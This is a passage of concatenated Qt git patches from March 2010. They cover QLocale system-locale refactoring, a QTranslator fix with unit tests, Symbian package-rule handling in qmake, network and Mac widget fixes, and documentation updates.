-#endif - return dd->exponential(); + return d()->exponential(); } static bool qIsUpper(char c) @@ -3348,8 +3254,8 @@ QString QLocale::monthName(int month, FormatType type) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(type == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(type == LongFormat ? QSystemLocale::MonthNameLong : QSystemLocale::MonthNameShort, month); if (!res.isNull()) @@ -3394,8 +3300,8 @@ QString QLocale::standaloneMonthName(int month, FormatType type) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(type == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(type == LongFormat ? QSystemLocale::MonthNameLong : QSystemLocale::MonthNameShort, month); if (!res.isNull()) @@ -3441,8 +3347,8 @@ QString QLocale::dayName(int day, FormatType type) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(type == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(type == LongFormat ? QSystemLocale::DayNameLong : QSystemLocale::DayNameShort, day); if (!res.isNull()) @@ -3490,8 +3396,8 @@ QString QLocale::standaloneDayName(int day, FormatType type) const return QString(); #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(type == LongFormat + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(type == LongFormat ? QSystemLocale::DayNameLong : QSystemLocale::DayNameShort, day); if (!res.isNull()) @@ -3535,8 +3441,8 @@ QLocale::MeasurementSystem QLocale::measurementSystem() const bool found = false; #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(QSystemLocale::MeasurementSystem, QVariant()); + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(QSystemLocale::MeasurementSystem, QVariant()); if (!res.isNull()) { meas = MeasurementSystem(res.toInt()); found = true; @@ -3563,8 +3469,8 @@ QLocale::MeasurementSystem QLocale::measurementSystem() const QString QLocale::amText() const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(QSystemLocale::AMText, QVariant()); + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(QSystemLocale::AMText, QVariant()); if (!res.isNull()) return res.toString(); } @@ -3583,8 +3489,8 @@ QString QLocale::amText() const QString QLocale::pmText() const { #ifndef QT_NO_SYSTEMLOCALE - if (d() == maybeSystemPrivate()) { - QVariant res = d()->querySystemLocale(QSystemLocale::PMText, QVariant()); + if (d() == systemPrivate()) { + QVariant res = systemLocale()->query(QSystemLocale::PMText, QVariant()); if (!res.isNull()) return res.toString(); } @@ -3999,10 +3905,6 @@ QString QLocalePrivate::doubleToString(double d, int width, unsigned flags) const { -#ifndef QT_NO_SYSTEMLOCALE - if (isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif if (precision == -1) precision = 6; if (width == -1) @@ -4153,10 +4055,6 @@ QString QLocalePrivate::longLongToString(qlonglong l, int precision, int base, int width, unsigned flags) const { -#ifndef QT_NO_SYSTEMLOCALE - if (isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif bool precision_not_specified = false; if (precision == -1) { precision_not_specified = true; @@ -4242,10 +4140,6 @@ QString QLocalePrivate::unsLongLongToString(qulonglong l, int precision, int base, int width, unsigned flags) const { -#ifndef QT_NO_SYSTEMLOCALE - if (isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif bool precision_not_specified = false; if (precision == -1) { precision_not_specified = true; @@ -4448,10 +4342,6 @@ bool QLocalePrivate::numberToCLocale(const QString &num, bool QLocalePrivate::validateChars(const QString &str, NumberMode numMode, QByteArray *buff, int decDigits) const { -#ifndef QT_NO_SYSTEMLOCALE - if (isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif buff->clear(); buff->reserve(str.length()); @@ -4545,10 +4435,6 @@ bool QLocalePrivate::validateChars(const QString &str, NumberMode numMode, QByte double QLocalePrivate::stringToDouble(const QString &number, bool *ok, GroupSeparatorMode group_sep_mode) const { -#ifndef QT_NO_SYSTEMLOCALE - if (isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif CharBuff buff; if (!numberToCLocale(group().unicode() == 0xa0 ? number.trimmed() : number, group_sep_mode, &buff)) { @@ -4562,10 +4448,6 @@ double QLocalePrivate::stringToDouble(const QString &number, bool *ok, qlonglong QLocalePrivate::stringToLongLong(const QString &number, int base, bool *ok, GroupSeparatorMode group_sep_mode) const { -#ifndef QT_NO_SYSTEMLOCALE - if (isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif CharBuff buff; if (!numberToCLocale(group().unicode() == 0xa0 ? number.trimmed() : number, group_sep_mode, &buff)) { @@ -4580,10 +4462,6 @@ qlonglong QLocalePrivate::stringToLongLong(const QString &number, int base, qulonglong QLocalePrivate::stringToUnsLongLong(const QString &number, int base, bool *ok, GroupSeparatorMode group_sep_mode) const { -#ifndef QT_NO_SYSTEMLOCALE - if (isUninitializedSystemLocale()) - QLocalePrivate::updateSystemPrivate(); -#endif CharBuff buff; if (!numberToCLocale(group().unicode() == 0xa0 ? number.trimmed() : number, group_sep_mode, &buff)) { diff --git a/src/corelib/tools/qlocale.h b/src/corelib/tools/qlocale.h index 3b4e9dc..ac05c86 100644 --- a/src/corelib/tools/qlocale.h +++ b/src/corelib/tools/qlocale.h @@ -691,7 +691,6 @@ public: ; private: friend struct QLocalePrivate; - // ### We now use this field to pack an index into locale_data and NumberOptions. // ### Qt 5: change to a QLocaleData *d; uint numberOptions. union { diff --git a/src/corelib/tools/qlocale_p.h b/src/corelib/tools/qlocale_p.h index 003ae8c..ecf79e9 100644 --- a/src/corelib/tools/qlocale_p.h +++ b/src/corelib/tools/qlocale_p.h @@ -63,14 +63,14 @@ QT_BEGIN_NAMESPACE struct Q_CORE_EXPORT QLocalePrivate { public: - QChar decimal() const { Q_ASSERT(m_decimal); return QChar(m_decimal); } - QChar group() const { Q_ASSERT(m_group); return QChar(m_group); } - QChar list() const { Q_ASSERT(m_list); return QChar(m_list); } - QChar percent() const { Q_ASSERT(m_percent); return QChar(m_percent); } - QChar zero() const { Q_ASSERT(m_zero); return QChar(m_zero); } - QChar plus() const { Q_ASSERT(m_plus); return QChar(m_plus); } - QChar minus() const { Q_ASSERT(m_minus); return QChar(m_minus); } - QChar exponential() const { Q_ASSERT(m_exponential); return QChar(m_exponential); } + QChar decimal() const { return QChar(m_decimal); } + QChar group() const { return QChar(m_group); } + QChar list() const { return QChar(m_list); } + QChar percent() const { return QChar(m_percent); } + QChar zero() const { return QChar(m_zero); } + QChar plus() const { return QChar(m_plus); } + QChar minus() const { return QChar(m_minus); } + QChar exponential() const { return QChar(m_exponential); } quint32 languageId() const { return m_language_id; } quint32 countryId() const { return m_country_id; } @@ -132,8 +132,6 @@ public: CharBuff *result) const; inline char digitToCLocale(const QChar &c) const; - inline bool isUninitializedSystemLocale() const; - QVariant querySystemLocale(int type, const QVariant &in) const; static void updateSystemPrivate(); enum NumberMode { IntegerMode, DoubleStandardMode, DoubleScientificMode }; diff --git a/tests/auto/qlocale/tst_qlocale.cpp b/tests/auto/qlocale/tst_qlocale.cpp index 21a6f32..182f73b 100644 --- a/tests/auto/qlocale/tst_qlocale.cpp +++ b/tests/auto/qlocale/tst_qlocale.cpp @@ -158,15 +158,9 @@ void tst_QLocale::ctor() QCoreApplication app(argc, (char**)&argv); #endif QLocale default_locale = QLocale::system(); - - QVERIFY(!default_locale.monthName(1, QLocale::LongFormat).isEmpty()); - QVERIFY(!default_locale.monthName(1, QLocale::ShortFormat).isEmpty()); - QVERIFY(default_locale.language() != 0); - QLocale::Language default_lang = default_locale.language(); QLocale::Country default_country = default_locale.country(); - qDebug("Default: %s/%s", QLocale::languageToString(default_lang).toLatin1().constData(), QLocale::countryToString(default_country).toLatin1().constData()); -- cgit v0.12 From 67ff95079522d79e45d64d579856c5c1cd3a69d9 Mon Sep 17 00:00:00 2001 From: David Sansome Date: Wed, 24 Mar 2010 10:11:10 +0100 Subject: Add a check to make sure QTranslator doesn't load a directory. Merge-request: 531 Reviewed-by: Benjamin Poulain --- src/corelib/kernel/qtranslator.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/corelib/kernel/qtranslator.cpp b/src/corelib/kernel/qtranslator.cpp index 7d1e1d3..ca54c6c 100644 --- a/src/corelib/kernel/qtranslator.cpp +++ b/src/corelib/kernel/qtranslator.cpp @@ -412,12 +412,12 @@ bool QTranslator::load(const QString & filename, const QString & directory, realname = prefix + fname + (suffix.isNull() ? QString::fromLatin1(".qm") : suffix); fi.setFile(realname); - if (fi.isReadable()) + if (fi.isReadable() && fi.isFile()) break; realname = prefix + fname; fi.setFile(realname); - if (fi.isReadable()) + if (fi.isReadable() && fi.isFile()) break; int rightmost = 0; -- cgit v0.12 From 423f1cf2c5bd505497400db1e732efad12361976 Mon Sep 17 00:00:00 2001 From: David Sansome Date: Wed, 24 Mar 2010 10:11:11 +0100 Subject: Add unit tests for QTranslator. Two new tests: * Check that translations can be loaded from resources * Check that nothing happens when trying to "load" a directory Merge-request: 531 Reviewed-by: Benjamin Poulain --- tests/auto/qtranslator/qtranslator.pro | 2 +- tests/auto/qtranslator/qtranslator.qrc | 5 +++++ tests/auto/qtranslator/tst_qtranslator.cpp | 19 +++++++++++++++++++ 3 files changed, 25 insertions(+), 1 deletion(-) create mode 100644 tests/auto/qtranslator/qtranslator.qrc diff --git a/tests/auto/qtranslator/qtranslator.pro b/tests/auto/qtranslator/qtranslator.pro index 30ffc1c..2b08b4a 100644 --- a/tests/auto/qtranslator/qtranslator.pro +++ b/tests/auto/qtranslator/qtranslator.pro @@ -1,6 +1,6 @@ load(qttest_p4) SOURCES += tst_qtranslator.cpp - +RESOURCES += qtranslator.qrc wince*|symbian*: { addFiles.sources = hellotr_la.qm msgfmt_from_po.qm diff --git a/tests/auto/qtranslator/qtranslator.qrc b/tests/auto/qtranslator/qtranslator.qrc new file mode 100644 index 0000000..333dcfa --- /dev/null +++ b/tests/auto/qtranslator/qtranslator.qrc @@ -0,0 +1,5 @@ + + + hellotr_la.qm + + diff --git a/tests/auto/qtranslator/tst_qtranslator.cpp b/tests/auto/qtranslator/tst_qtranslator.cpp index 44fc10c..f2bfbf0 100644 --- a/tests/auto/qtranslator/tst_qtranslator.cpp +++ b/tests/auto/qtranslator/tst_qtranslator.cpp @@ -70,6 +70,8 @@ private slots: void testLanguageChange(); void plural(); void translate_qm_file_generated_with_msgfmt(); + void loadFromResource(); + void loadDirectory(); private: int languageChangeEventCounter; @@ -237,5 +239,22 @@ void tst_QTranslator::translate_qm_file_generated_with_msgfmt() qApp->removeTranslator(&translator); } +void tst_QTranslator::loadFromResource() +{ + QTranslator tor; + tor.load(":/tst_qtranslator/hellotr_la.qm"); + QVERIFY(!tor.isEmpty()); + QCOMPARE(tor.translate("QPushButton", "Hello world!"), QString::fromLatin1("Hallo Welt!")); +} + +void tst_QTranslator::loadDirectory() +{ + QVERIFY(QFileInfo("../qtranslator").isDir()); + + QTranslator tor; + tor.load("qtranslator", ".."); + QVERIFY(tor.isEmpty()); +} + QTEST_MAIN(tst_QTranslator) #include "tst_qtranslator.moc" -- cgit v0.12 From a2f2c87f320873d1968d931ad69a0f640c5545b1 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Wed, 24 Mar 2010 12:15:34 +0200 Subject: Made it possible to define more than one language using pkg_prerules The pkg statements were generated in invalid order if user used pkg_prerules to redefine languages supported by the pkg file. Also made it possible to override dependency statements autogenerated for Qt and QtWebkit, as these statements need to be user defined in case of multiple languages. Defining the following in .pro removes all dependencies from pkg rules: default_deployment.pkg_prerules -= \ pkg_depends_webkit \ pkg_depends_qt \ pkg_platform_dependencies Task-number: QTBUG-9279 Reviewed-by: Janne Anttila --- mkspecs/common/symbian/symbian.conf | 8 ++++++- mkspecs/features/symbian/qt.prf | 10 +++++--- qmake/generators/symbian/symmake.cpp | 44 ++++++++++++++++++++++++++---------- src/corelib/corelib.pro | 1 - src/gui/gui.pro | 1 - 5 files changed, 46 insertions(+), 18 deletions(-) diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf index 1d00b03..c39b39d 100644 --- a/mkspecs/common/symbian/symbian.conf +++ b/mkspecs/common/symbian/symbian.conf @@ -135,8 +135,14 @@ INCLUDEPATH = \ # RVCT seems to do this automatically, but WINSCW compiler does not, so add it here. MMP_RULES += "USERINCLUDE ." +# pkg_depends_webkit, pkg_depends_core, and pkg_platform_dependencies can be removed by developer +# if multiple languages need to be supported by pkg file. In that case the developer should declare +# multiple language compatible dependency statements him/herself. + +default_deployment.pkg_prerules += pkg_depends_webkit pkg_depends_qt pkg_platform_dependencies + # Supports S60 3.0, 3.1, 3.2 and 5.0 by default -default_deployment.pkg_prerules = \ +pkg_platform_dependencies = \ "; Default HW/platform dependencies" \ "[0x101F7961],0,0,0,{\"S60ProductID\"}" \ "[0x102032BE],0,0,0,{\"S60ProductID\"}" \ diff --git a/mkspecs/features/symbian/qt.prf b/mkspecs/features/symbian/qt.prf index 275b86a..b2156a9 100644 --- a/mkspecs/features/symbian/qt.prf +++ b/mkspecs/features/symbian/qt.prf @@ -22,19 +22,23 @@ load(qt) INCLUDEPATH = $$PREPEND_INCLUDEPATH $$INCLUDEPATH # Add dependency to Qt package to all other projects besides Qt libs. -# Note: Qt libs with full capabilities has UID3 of 0x2001E61C, +# Note: Qt libs package with full capabilities has UID3 of 0x2001E61C, # while self-signed version typically has temporary UID3 of 0xE001E61C. contains(CONFIG, qt):!contains(TARGET.UID3, 0x2001E61C):!contains(TARGET.UID3, 0xE001E61C):isEmpty(QT_LIBINFIX) { - default_deployment.pkg_prerules += \ + pkg_depends_qt += \ "; Default dependency to Qt libraries" \ "(0x2001E61C), $${QT_MAJOR_VERSION}, $${QT_MINOR_VERSION}, $${QT_PATCH_VERSION}, {\"Qt\"}" # Projects linking to webkit need dependency to webkit contains(QT, webkit): { - default_deployment.pkg_prerules += \ + pkg_depends_webkit += \ "; Dependency to Qt Webkit" \ "(0x200267C2), $${QT_MAJOR_VERSION}, $${QT_MINOR_VERSION}, $${QT_PATCH_VERSION}, {\"QtWebKit\"}" + } else { + default_deployment.pkg_prerules -= pkg_depends_webkit } +} else { + default_deployment.pkg_prerules -= pkg_depends_webkit pkg_depends_qt } isEmpty(TARGET.EPOCSTACKSIZE):TARGET.EPOCSTACKSIZE = 0x14000 diff --git a/qmake/generators/symbian/symmake.cpp b/qmake/generators/symbian/symmake.cpp index c6023b5..1470a12 100644 --- a/qmake/generators/symbian/symmake.cpp +++ b/qmake/generators/symbian/symmake.cpp @@ -322,17 +322,36 @@ void SymbianMakefileGenerator::generatePkgFile(const QString &iconFile, Deployme tw << headerComment.arg(wrapperPkgFilename).arg(dateStr); // Construct QStringList from pkg_prerules since we need search it before printed to file + // Note: Though there can't be more than one language or header line, use stringlists + // in case user wants comments to go with the rules. QStringList rawPkgPreRules; + QStringList languageRules; + QStringList headerRules; foreach(QString deploymentItem, project->values("DEPLOYMENT")) { foreach(QString pkgrulesItem, project->values(deploymentItem + ".pkg_prerules")) { QStringList pkgrulesValue = project->values(pkgrulesItem); // If there is no stringlist defined for a rule, use rule name directly // This is convenience for defining single line mmp statements if (pkgrulesValue.isEmpty()) { - rawPkgPreRules << pkgrulesItem; + if (pkgrulesItem.startsWith("&")) + languageRules << pkgrulesItem; + else if (pkgrulesItem.startsWith("#")) + headerRules << pkgrulesItem; + else + rawPkgPreRules << pkgrulesItem; } else { - foreach(QString pkgrule, pkgrulesValue) { - rawPkgPreRules << pkgrule; + if (containsStartWithItem('&', pkgrulesValue)) { + foreach(QString pkgrule, pkgrulesValue) { + languageRules << pkgrule; + } + } else if (containsStartWithItem('#', pkgrulesValue)) { + foreach(QString pkgrule, pkgrulesValue) { + headerRules << pkgrule; + } + } else { + foreach(QString pkgrule, pkgrulesValue) { + rawPkgPreRules << pkgrule; + } } } } @@ -340,17 +359,17 @@ void SymbianMakefileGenerator::generatePkgFile(const QString &iconFile, Deployme // Apply some defaults if specific data does not exist in PKG pre-rules - if (!containsStartWithItem('&', rawPkgPreRules)) { + if (languageRules.isEmpty()) { // language, (*** hardcoded to english atm, should be parsed from TRANSLATIONS) - QString languageCode = "; Language\n&EN\n\n"; - t << languageCode; - tw << languageCode; - } else { + languageRules << "; Language\n&EN\n\n"; + } else if (headerRules.isEmpty()) { // In case user defines langs, he must take care also about SIS header - if (!containsStartWithItem('#', rawPkgPreRules)) - fprintf(stderr, "Warning: If language is defined with DEPLOYMENT pkg_prerules, also the SIS header must be defined\n"); + fprintf(stderr, "Warning: If language is defined with DEPLOYMENT pkg_prerules, also the SIS header must be defined\n"); } + t << languageRules.join("\n") << endl; + tw << languageRules.join("\n") << endl; + // name of application, UID and version QString applicationVersion = project->first("VERSION").isEmpty() ? "1,0,0" : project->first("VERSION").replace('.', ','); QString sisHeader = "; SIS header: name, uid, version\n#{\"%1\"},(%2),%3\n\n"; @@ -364,9 +383,10 @@ void SymbianMakefileGenerator::generatePkgFile(const QString &iconFile, Deployme tw << installerSisHeader << endl; } - if (!containsStartWithItem('#', rawPkgPreRules)) { + if (headerRules.isEmpty()) t << sisHeader.arg(visualTarget).arg(uid3).arg(applicationVersion); - } + else + t << headerRules.join("\n") << endl; // Localized vendor name QString vendorName; diff --git a/src/corelib/corelib.pro b/src/corelib/corelib.pro index efee610..717b95e 100644 --- a/src/corelib/corelib.pro +++ b/src/corelib/corelib.pro @@ -38,7 +38,6 @@ symbian: { # Partial upgrade SIS file vendorinfo = \ - "&EN" \ "; Localised Vendor name" \ "%{\"Nokia, Qt\"}" \ " " \ diff --git a/src/gui/gui.pro b/src/gui/gui.pro index d46f3b4..d2401f4 100644 --- a/src/gui/gui.pro +++ b/src/gui/gui.pro @@ -60,7 +60,6 @@ symbian: { # Partial upgrade SIS file vendorinfo = \ - "&EN" \ "; Localised Vendor name" \ "%{\"Nokia, Qt\"}" \ " " \ -- cgit v0.12 From 63f13c0f2793fa0833d906be409f57362f6971d7 Mon Sep 17 00:00:00 2001 From: Tasuku Suzuki Date: Wed, 24 Mar 2010 11:55:57 +0100 Subject: Fix compile error with QT_NO_HTTP Reviewed-by: Benjamin Poulain --- src/network/access/qnetworkreplyimpl.cpp | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp index 7fc0097..edd6889 100644 --- a/src/network/access/qnetworkreplyimpl.cpp +++ b/src/network/access/qnetworkreplyimpl.cpp @@ -318,11 +318,15 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const // for HTTP, we want to send out the request as fast as possible to the network, without // invoking methods in a QueuedConnection +#ifndef QT_NO_HTTP if (qobject_cast(backend)) { _q_startOperation(); } else { QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection); } +#else + QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection); +#endif // QT_NO_HTTP } q->QIODevice::open(QIODevice::ReadOnly); @@ -872,11 +876,15 @@ bool QNetworkReplyImplPrivate::migrateBackend() backend->setResumeOffset(bytesDownloaded); } +#ifndef QT_NO_HTTP if (qobject_cast(backend)) { _q_startOperation(); } else { QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection); } +#else + QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection); +#endif // QT_NO_HTTP return true; } -- cgit v0.12 From 903d7a43a5d936bb1e853e5add7c4c3c5503737e Mon Sep 17 00:00:00 2001 From: Simon Hausmann Date: Wed, 24 Mar 2010 12:17:14 +0100 Subject: Updated WebKit from /home/shausman/src/webkit/trunk to qtwebkit/qtwebkit-4.6 ( aa40cdb9595eb15a68e7be03322f973aa613a8f9 ) Changes in WebKit/qt since the last update: ++ b/WebKit/qt/ChangeLog 2010-03-21 axis Reviewed by Simon Hausmann. Fixed updating the VKB display when inputting into QGraphicsWebView. https://bugs.webkit.org/show_bug.cgi?id=36292 * Api/qgraphicswebview.cpp: (QGraphicsWebViewPrivate::_q_updateMicroFocus): (QGraphicsWebView::setPage): * Api/qgraphicswebview.h: WebCore: [Qt] Support for QT_LIBINFIX in Symbian builds Patch by Miikka Heikkinen on 2010-03-19 Reviewed by Simon Hausmann. Configuring Qt with -qtlibinfix parameter will enable installing an alternate version of Qt on devices that already have it on ROM. This patch provides support for infixed builds of Webkit. --- src/3rdparty/webkit/.gitattributes | 4 ++++ src/3rdparty/webkit/ChangeLog | 8 ++++++++ src/3rdparty/webkit/VERSION | 2 +- src/3rdparty/webkit/WebCore/ChangeLog | 12 ++++++++++++ src/3rdparty/webkit/WebCore/WebCore.pro | 9 ++++++--- src/3rdparty/webkit/WebKit/qt/Api/qgraphicswebview.h | 2 +- 6 files changed, 32 insertions(+), 5 deletions(-) create mode 100644 src/3rdparty/webkit/.gitattributes diff --git a/src/3rdparty/webkit/.gitattributes b/src/3rdparty/webkit/.gitattributes new file mode 100644 index 0000000..5b43bd0 --- /dev/null +++ b/src/3rdparty/webkit/.gitattributes @@ -0,0 +1,4 @@ +# To enable automatic merging of ChangeLog files, use the following command: +# git config merge.changelog.driver "resolve-ChangeLogs --merge-driver %O %A %B" +ChangeLog* merge=changelog + diff --git a/src/3rdparty/webkit/ChangeLog b/src/3rdparty/webkit/ChangeLog index 1e89d1e..57cb0de 100644 --- a/src/3rdparty/webkit/ChangeLog +++ b/src/3rdparty/webkit/ChangeLog @@ -1,3 +1,11 @@ +2010-02-18 Tor Arne Vestbø + + Reviewed by Eric Seidel. + + Add .gitattributes file for custom ChangeLog merge-driver + + * .gitattributes: Added. + 2009-11-30 Jan-Arve Sæther Reviewed by Simon Hausmann. diff --git a/src/3rdparty/webkit/VERSION b/src/3rdparty/webkit/VERSION index def66ef..9dac2f8 100644 --- a/src/3rdparty/webkit/VERSION +++ b/src/3rdparty/webkit/VERSION @@ -8,4 +8,4 @@ The commit imported was from the and has the sha1 checksum - d95c54951e7af2aa7def4346a142b2162bd89bbd + aa40cdb9595eb15a68e7be03322f973aa613a8f9 diff --git a/src/3rdparty/webkit/WebCore/ChangeLog b/src/3rdparty/webkit/WebCore/ChangeLog index 869e225..0a444bc 100644 --- a/src/3rdparty/webkit/WebCore/ChangeLog +++ b/src/3rdparty/webkit/WebCore/ChangeLog @@ -1,3 +1,15 @@ +2010-03-19 Miikka Heikkinen + + Reviewed by Simon Hausmann. + + [Qt] Support for QT_LIBINFIX in Symbian builds + + Configuring Qt with -qtlibinfix parameter will enable installing + an alternate version of Qt on devices that already have it on ROM. + This patch provides support for infixed builds of Webkit. + + * WebCore.pro: + 2010-01-31 Benjamin Poulain Reviewed by Eric Seidel. diff --git a/src/3rdparty/webkit/WebCore/WebCore.pro b/src/3rdparty/webkit/WebCore/WebCore.pro index 735c8ef..7e57394 100644 --- a/src/3rdparty/webkit/WebCore/WebCore.pro +++ b/src/3rdparty/webkit/WebCore/WebCore.pro @@ -6,9 +6,12 @@ symbian: { TARGET.EPOCALLOWDLLDATA=1 TARGET.EPOCHEAPSIZE = 0x20000 0x2000000 // Min 128kB, Max 32MB TARGET.CAPABILITY = All -Tcb - TARGET.UID3 = 0x200267C2 - - webkitlibs.sources = QtWebKit.dll + isEmpty(QT_LIBINFIX) { + TARGET.UID3 = 0x200267C2 + } else { + TARGET.UID3 = 0xE00267C2 + } + webkitlibs.sources = QtWebKit$${QT_LIBINFIX}.dll webkitlibs.path = /sys/bin vendorinfo = \ "; Localised Vendor name" \ diff --git a/src/3rdparty/webkit/WebKit/qt/Api/qgraphicswebview.h b/src/3rdparty/webkit/WebKit/qt/Api/qgraphicswebview.h index 68379a2..f983ae4 100644 --- a/src/3rdparty/webkit/WebKit/qt/Api/qgraphicswebview.h +++ b/src/3rdparty/webkit/WebKit/qt/Api/qgraphicswebview.h @@ -134,10 +134,10 @@ protected: private: Q_PRIVATE_SLOT(d, void _q_doLoadFinished(bool success)) + Q_PRIVATE_SLOT(d, void _q_updateMicroFocus()) QGraphicsWebViewPrivate* const d; friend class QGraphicsWebViewPrivate; }; #endif // QGraphicsWebView_h - Q_PRIVATE_SLOT(d, void _q_updateMicroFocus()) -- cgit v0.12 From 666c6b5b18c013d4fe6eb67a4c7106047513e43a Mon Sep 17 00:00:00 2001 From: Prasanth Ullattil Date: Wed, 24 Mar 2010 12:33:07 +0100 Subject: Wrong position for foucs ring when used in QMacNativeWidget. This widget is treated as a window by Qt, but with the embedded flag ON. setGeometry should not clip this window, it will be cliped automatically by the parent view of QMacNativeWidget. Task-number: QTBUG-9199 Reviewed-by: Denis --- src/gui/kernel/qwidget_mac.mm | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm index b3a6aec..ef7373c 100644 --- a/src/gui/kernel/qwidget_mac.mm +++ b/src/gui/kernel/qwidget_mac.mm @@ -4067,7 +4067,8 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) QRect xrect = data.crect; QRect parentWRect; - if (q->isWindow() && topData()->embedded) { + bool isEmbeddedWindow = (q->isWindow() && topData()->embedded); + if (isEmbeddedWindow) { #ifndef QT_MAC_USE_COCOA HIViewRef parentView = HIViewGetSuperview(qt_mac_nativeview_for(q)); #else @@ -4092,7 +4093,7 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect) if (parentWRect.isValid()) { // parent is clipped, and we have to clip to the same limit as parent - if (!parentWRect.contains(xrect)) { + if (!parentWRect.contains(xrect) && !isEmbeddedWindow) { xrect &= parentWRect; wrect = xrect; //translate from parent's to my Qt coord sys -- cgit v0.12 From b87edcb5fe59b590e20367b167e50abbb23484f4 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Wed, 24 Mar 2010 13:42:38 +0200 Subject: Clarified pkg_prerules usage documentation. The default_deployment item shouldn't be used to add own rules. Task-number: QTBUG-9277 Reviewed-by: Janne Anttila --- doc/src/development/qmake-manual.qdoc | 18 +++++++++++++----- doc/src/snippets/code/doc_src_deployment.qdoc | 7 +++++-- doc/src/snippets/code/doc_src_qmake-manual.qdoc | 4 +++- 3 files changed, 21 insertions(+), 8 deletions(-) diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index 7ab3cd2..eaf6cd0 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -1421,12 +1421,20 @@ is the application private directory on the drive it is installed to. attention that also other statements stay valid. For example if you override languages statement, you must override also package-header statement and all other statements which are language specific. + + On the Symbian platform, the \c default_deployment item specifies + default platform and package dependencies. Those dependencies can be + selectively disabled if alternative dependencies need to be defined + - e.g. if a specific device is required to run the application or + more languages need to be supported by the package file. The supported + \c default_deployment rules that can be disabled are: - On the Symbian platform, the \c default_deployment item specifies - default platform dependencies. It can be overwritten if a more - restrictive set is needed - e.g. if a specific - device is required to run the application. - + \list + \o pkg_depends_qt + \o pkg_depends_webkit + \o pkg_platform_dependencies + \endlist + For example: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 141 diff --git a/doc/src/snippets/code/doc_src_deployment.qdoc b/doc/src/snippets/code/doc_src_deployment.qdoc index 3b0cda1..48e9ac6 100644 --- a/doc/src/snippets/code/doc_src_deployment.qdoc +++ b/doc/src/snippets/code/doc_src_deployment.qdoc @@ -463,7 +463,8 @@ vendorinfo = \ "%{\"Example Localized Vendor\"}" \ ":\"Example Vendor\"" -default_deployment.pkg_prerules = vendorinfo +my_deployment.pkg_prerules = vendorinfo +DEPLOYMENT += my_deployment //! [56] //! [57] @@ -471,7 +472,9 @@ supported_platforms = \ "; This demo only supports S60 5.0" \ "[0x1028315F],0,0,0,{\"S60ProductID\"}" -default_deployment.pkg_prerules += supported_platforms +default_deployment.pkg_prerules -= pkg_platform_dependencies +my_deployment.pkg_prerules += supported_platforms +DEPLOYMENT += my_deployment //! [57] //! [58] diff --git a/doc/src/snippets/code/doc_src_qmake-manual.qdoc b/doc/src/snippets/code/doc_src_qmake-manual.qdoc index 36676ae..d9e5d3c 100644 --- a/doc/src/snippets/code/doc_src_qmake-manual.qdoc +++ b/doc/src/snippets/code/doc_src_qmake-manual.qdoc @@ -933,7 +933,9 @@ DEPLOYMENT += somelib justdep //! [140] //! [141] -default_deployment.pkg_prerules = "[0x11223344],0,0,0,{\"SomeSpecificDeviceID\"}" +default_deployment.pkg_prerules -= pkg_platform_dependencies +my_deployment.pkg_prerules = "[0x11223344],0,0,0,{\"SomeSpecificDeviceID\"}" +DEPLOYMENT += my_deployment //! [141] //! [142] -- cgit v0.12 From d51a51f1b648b055165796a8aa96b57b6a2d2dc4 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 24 Mar 2010 12:55:02 +0100 Subject: doc: Fixed function signatures in qdoc comments. --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 4ba80ad..0bc4b8b 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -1264,22 +1264,22 @@ QDeclarativeKeysAttached 